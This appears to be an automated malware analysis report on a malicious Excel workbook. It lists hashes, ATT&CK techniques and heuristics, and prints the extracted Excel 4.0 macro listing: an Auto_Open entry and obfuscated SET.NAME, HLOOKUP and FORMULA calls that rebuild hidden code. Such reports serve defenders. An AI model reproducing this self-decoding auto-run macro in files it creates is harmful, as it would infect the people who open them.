Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 221840bdcd5fd4fd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:38 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 08cbb32220c8530e3a0af371be6f42dd SHA-1: e38fd6e00419a6db1f78515604adea10fffafab0 SHA-256: 221840bdcd5fd4fde66ea152b50915becd4ecca0546663a2f2478ae2033b44ce
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates an attempt to automatically execute code upon opening the workbook. The presence of dangerous formula APIs like RUN further suggests malicious intent, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6468 bytes
SHA-256: db10da6662709ac82441547fce7c7acf32a9ae3b89e2486bea89c3392901cc87
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jlVCdwT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H146 
' 0018     21 LABEL : Cell Value, String Constant - ewgRkr len=0 
' 0018     20 LABEL : Cell Value, String Constant - GKBiu len=0 
' 0018     23 LABEL : Cell Value, String Constant - GwBqITvg len=0 
' 0018     24 LABEL : Cell Value, String Constant - hULEtWhpr len=0 
' 0018     21 LABEL : Cell Value, String Constant - iGEzFQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - IhwcggbfUVrO len=0 
' 0018     21 LABEL : Cell Value, String Constant - JBpTHi len=0 
' 0018     23 LABEL : Cell Value, String Constant - JEOzVqjp len=0 
' 0018     20 LABEL : Cell Value, String Constant - lfRQH len=0 
' 0018     21 LABEL : Cell Value, String Constant - MYuRkG len=0 
' 0018     25 LABEL : Cell Value, String Constant - peOPgqgBXq len=0 
' 0018     21 LABEL : Cell Value, String Constant - SzLBzQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - typWkewk len=0 
' 0018     23 LABEL : Cell Value, String Constant - vTLMxjwG len=0 
' 0018     25 LABEL : Cell Value, String Constant - vzJZMuZWiz len=0 
' 0018     22 LABEL : Cell Value, String Constant - xhoBWLJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - XTAGsOUn len=0 
' 0018     23 LABEL : Cell Value, String Constant - yCiAxTua len=0 
' 0018     27 LABEL : Cell Value, String Constant - yZqIuJCofbVt len=0 
' 0018     27 LABEL : Cell Value, String Constant - zCpFzZGmbeNt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jlVCdwT,H53,"SET.NAME("lfRQH",VALUE("0"))",""
'  jlVCdwT,H57,"SET.NAME("peOPgqgBXq",lfRQH)",""
'  jlVCdwT,H61,"SET.NAME("iGEzFQ",lfRQH)",""
'  jlVCdwT,H64,"SET.NAME("zCpFzZGmbeNt",COUNTA(IhwcggbfUVrO))",""
'  jlVCdwT,H67,"SET.NAME("yCiAxTua",COUNTA(ewgRkr))",""
'  jlVCdwT,H72,[],""
'  jlVCdwT,H76,"SET.NAME("JBpTHi","")",""
'  jlVCdwT,H78,"peOPgqgBXq",""
'  jlVCdwT,H82,"SET.NAME("XTAGsOUn",HLOOKUP("*",IhwcggbfUVrO,peOPgqgBXq,FALSE))",""
'  jlVCdwT,H87,"vTLMxjwG",""
'  jlVCdwT,H92,"SET.NAME("xhoBWLJ",lfRQH)",""
'  jlVCdwT,H94,[],""
'  jlVCdwT,H96,"xhoBWLJ",""
'  jlVCdwT,H100,"SzLBzQ",""
'  jlVCdwT,H104,"hULEtWhpr",""
'  jlVCdwT,H107,"vzJZMuZWiz",""
'  jlVCdwT,H110,"SET.NAME("JEOzVqjp",VALUE(HLOOKUP("*",ewgRkr,vzJZMuZWiz,FALSE)))",""
'  jlVCdwT,H115,"yZqIuJCofbVt",""
'  jlVCdwT,H120,"JBpTHi",""
'  jlVCdwT,H122,"iGEzFQ",""
'  jlVCdwT,H125,NEXT(),""
'  jlVCdwT,H129,"MYuRkG",""
'  jlVCdwT,H134,"SET.NAME("f",INT(T(FORMULA(T(JBpTHi)&"",""&T(MYuRkG)))))",""
'  jlVCdwT,H138,"GwBqITvg",""
'  jlVCdwT,H141,NEXT(),""
'  jlVCdwT,H143,RETURN(),""
'  jlVCdwT,H170,"SET.NAME("typWkewk",H53)",""
'  jlVCdwT,H175,"IhwcggbfUVrO",""
'  jlVCdwT,H178,"SET.NAME("ewgRkr",R70C13)",""
'  jlVCdwT,H180,"SET.NAME("GwBqITvg",191)",""
'  jlVCdwT,H185,"SET.NAME("GKBiu",8)",""
'  jlVCdwT,H190,typWkewk(),""
'  jlVCdwT,H191,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.